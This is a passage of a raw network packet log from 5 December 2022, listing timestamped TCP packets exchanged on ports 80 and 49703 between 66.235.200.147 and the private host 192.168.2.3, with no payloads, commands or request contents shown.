Dec 5, 2022 06:44:31.244405985 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244414091 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244443893 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244451046 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244481087 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244512081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244546890 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244549990 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244576931 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244587898 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244600058 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244626045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244632006 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244663000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244669914 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244744062 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244749069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244781971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244784117 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244821072 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244822979 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244859934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244865894 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244899035 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244901896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244936943 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244939089 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.244975090 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.244982958 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245017052 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245019913 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245054007 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245064974 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245093107 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245102882 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245132923 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245141983 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245171070 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245193958 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245208025 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245223999 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245246887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245250940 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245285988 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245295048 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245326996 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245331049 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245366096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245367050 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245404959 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245405912 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245444059 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245448112 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245481014 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245491982 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245518923 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245528936 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245558023 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245573044 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245594978 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245608091 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245634079 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245646000 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245673895 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245688915 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245712996 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245716095 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245750904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245758057 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245789051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245794058 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245826960 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245835066 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245866060 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245872021 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245903969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245917082 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245942116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245959044 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.245984077 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.245992899 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246021986 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246028900 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246061087 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246071100 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246098995 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246107101 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246136904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246148109 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246185064 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246187925 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246237040 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246239901 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246277094 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246288061 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246315956 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246336937 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246355057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246360064 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246393919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246400118 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246432066 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246438026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246469021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246474981 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246507883 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246512890 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246546030 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246548891 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246583939 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246589899 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246622086 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246624947 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246660948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246666908 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246700048 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246705055 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246737957 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246741056 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246776104 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246782064 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246814013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246817112 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246850967 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246860981 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246903896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.246948004 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.246994972 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247016907 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247034073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247042894 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247072935 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247085094 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247112036 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247117996 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247149944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247162104 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247189045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247195005 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247227907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247236967 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247267008 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247278929 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247306108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247312069 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247344017 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247354031 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247384071 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247387886 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247423887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247432947 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247462988 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247473955 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247502089 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247507095 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247540951 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247550964 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247579098 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247586966 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247618914 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247628927 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247657061 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247664928 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247697115 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247705936 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247736931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247747898 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247775078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247781038 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247813940 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247824907 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247862101 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247878075 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247916937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247927904 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247956991 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.247965097 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.247998953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248006105 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248037100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248049974 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248078108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248094082 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248116970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248125076 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248158932 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248166084 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248198986 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248209000 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248239994 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248255014 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248279095 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248284101 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248317003 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248321056 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248357058 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248359919 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248395920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248395920 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248435020 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248439074 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248476028 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248507977 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248538971 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248538971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248591900 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248603106 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248646975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248648882 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248696089 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248701096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248754978 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248754978 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248814106 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248816013 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248867989 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248887062 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248919964 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248920918 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.248967886 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.248976946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249027014 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249038935 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249083042 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249094009 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249138117 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249139071 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249186039 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249190092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249248028 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249248981 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249289036 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249301910 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249326944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249334097 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249363899 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249372959 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249408960 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249427080 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249448061 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249455929 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249488115 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249500990 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249526978 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249533892 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249567032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249576092 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249604940 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249614000 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249644995 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249675989 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249695063 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249732018 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249751091 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249798059 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249883890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249927044 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249931097 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.249965906 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.249977112 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.250011921 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.250020027 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.250051022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.250061035 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.250089884 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.250097990 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.250132084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.250133991 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.250180006 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.250189066 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.250233889 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.250242949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.250289917 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.267184019 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.267380953 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.267951012 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.267977953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.267997980 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268017054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268035889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268047094 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268054962 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268069029 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268074036 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268093109 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268110991 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268115044 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268129110 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268140078 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268146992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268153906 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268166065 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268181086 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268184900 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268198013 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268203020 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268214941 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268220901 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268232107 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268239021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268249989 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268258095 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268269062 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268275023 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268286943 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268292904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268306971 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268311977 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268325090 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268330097 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268340111 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268348932 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268358946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268368006 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268378973 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268384933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268403053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268415928 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268420935 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268434048 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268439054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268456936 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268465042 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268475056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268481016 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268492937 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268510103 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268517971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268532991 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268537045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268549919 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268554926 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268568039 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268574953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268584967 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268593073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268604994 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268610001 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.268621922 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.268629074 CET	80	49703	66.235.200.147	192.168.2.3
